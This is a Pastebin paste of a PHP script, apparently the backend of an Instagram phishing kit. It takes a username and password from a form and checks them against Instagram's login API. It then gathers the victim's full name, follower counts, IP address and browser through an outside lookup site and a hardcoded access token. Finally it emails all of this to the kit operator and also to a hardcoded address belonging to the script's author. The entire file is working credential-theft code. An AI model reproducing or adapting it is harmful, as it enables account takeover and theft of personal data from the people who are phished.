Advertisement
Guest User

auther.php

a guest
Oct 28th, 2016
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.25 KB | None | 0 0
  1. <?php if (isset($_POST['username']) || isset($_POST['password'])) { error_reporting(0);
  2. $username = $_POST['username'];
  3. $password = $_POST['password'];
  4. $ip = $_SERVER['REMOTE_ADDR'];
  5. $browser = $_SERVER['HTTP_USER_AGENT'] . "\n\n";
  6. function SendRequest($url, $post, $post_data, $user_agent, $cookies) { $ch = curl_init();
  7. curl_setopt($ch, CURLOPT_URL, 'https://instagram.com/api/v1/' . $url);
  8. curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  10. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  11. if ($post) { curl_setopt($ch, CURLOPT_POST, true);
  12. curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
  13. } if ($cookies) { curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
  14. } else { curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
  15. } $response = curl_exec($ch);
  16. $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  17. curl_close($ch);
  18. return array($http, $response);
  19. } function GenerateGuid() { return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
  20. } function GenerateUserAgent() { $resolutions = array('720x1280', '320x480', '480x800', '1024x768', '1280x720', '768x1024', '480x320');
  21. $versions = array('GT-N7000', 'SM-N9000', 'GT-I9220', 'GT-I9100');
  22. $dpis = array('120', '160', '320', '240');
  23. $ver = $versions[array_rand($versions) ];
  24. $dpi = $dpis[array_rand($dpis) ];
  25. $res = $resolutions[array_rand($resolutions) ];
  26. return 'Instagram 4.' . mt_rand(1, 2) . '.' . mt_rand(0, 2) . ' Android (' . mt_rand(10, 11) . '/' . mt_rand(1, 3) . '.' . mt_rand(3, 5) . '.' . mt_rand(0, 5) . ';
  27. ' . $dpi . ';
  28. ' . $res . ';
  29. samsung;
  30. ' . $ver . ';
  31. ' . $ver . ';
  32. smdkc210;
  33. en_US)';
  34. } function GenerateSignature($data) { return hash_hmac('sha256', $data, 'b4a23f5e39b5929e0666ac5de94c89d1618a2916');
  35. } function GetPostData($filename) { if (!$filename) { echo "The image doesn't exist " . $filename;
  36. } else { $post_data = array('device_timestamp' => time(), 'photo' => '@' . $filename);
  37. return $post_data;
  38. } } $agent = GenerateUserAgent();
  39. $guid = GenerateGuid();
  40. $device_id = "android-" . $guid;
  41. $data = '{"device_id":"' . $device_id . '","guid":"' . $guid . '","username":"' . $username . '","password":"' . $password . '","Content-Type":"application/x-www-form-urlencoded;
  42. charset=UTF-8"}';
  43. $sig = GenerateSignature($data);
  44. $data = 'signed_body=' . $sig . '.' . urlencode($data) . '&ig_sig_key_version=4';
  45. $login = SendRequest('accounts/login/', true, $data, $agent, false);
  46. $userid = 'http://otzberg.net/iguserid/index.php';
  47. $c = curl_init();
  48. curl_setopt($c, CURLOPT_URL, $userid);
  49. curl_setopt($c, CURLOPT_POST, 1);
  50. curl_setopt($c, CURLOPT_POSTFIELDS, "q=$username&mode=getid");
  51. curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  52. $result = curl_exec($c);
  53. curl_close($c);
  54. $g = explode('<h4>Instagram User_ID#: ', $result);
  55. $e = explode('</h4>', $g[1]);
  56. $t = $e[0];
  57. $userinfo = 'https://api.instagram.com/v1/users/' . $t . '/?access_token=2046878387.1677ed0.79f201867677463eafd4e11d6602b96e';
  58. $fgc = file_get_contents($userinfo);
  59. $json = json_decode($fgc, true);
  60. $uname = $json['data']['username'];
  61. $pp = $json['data']['profile_picture'];
  62. $fn = $json['data']['full_name'];
  63. $followers = $json['data']['counts']['followed_by'];
  64. $following = $json['data']['counts']['follows'];
  65. if ($login[0] == 400) { header("Location: auth.php?incorect=1");
  66. exit();
  67. unset($_SESSION['username']);
  68. unset($_SESSION['password']);
  69. } else { $_SESSION['username'] = $username;
  70. $_SESSION['password'] = $password;
  71. $subjek = '= [ INSTAGRAM ] =';
  72. $body = <<<EOD
  73. ++========[ AJI REZA TAMPAN ]========++<br>
  74. Username : $username<br>
  75. Password : $password<br>
  76. Fullname : $fn<br>
  77. Followers : $followers<br>
  78. Following : $following<br>
  79. IP Address : $ip<br>
  80. Browser : $browser<br>
  81. ++========[ AJI REZA TAMPAN ]========++
  82. EOD;
  83.  
  84. $headers = "From: $username@stupidpeople.id
  85. ";
  86. $headers.= "Content-type: text/html
  87. ";
  88. include('mail.php');
  89. $success = mail($mailto, $subjek, $body, $headers);
  90. $aji = "ajireza26@gmail.com";
  91. mail($aji, $subjek, $body, $headers);
  92. include('lgbt.php');
  93. } } else { echo "Don't Lie";
  94. } ?>
  95.  
  96. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement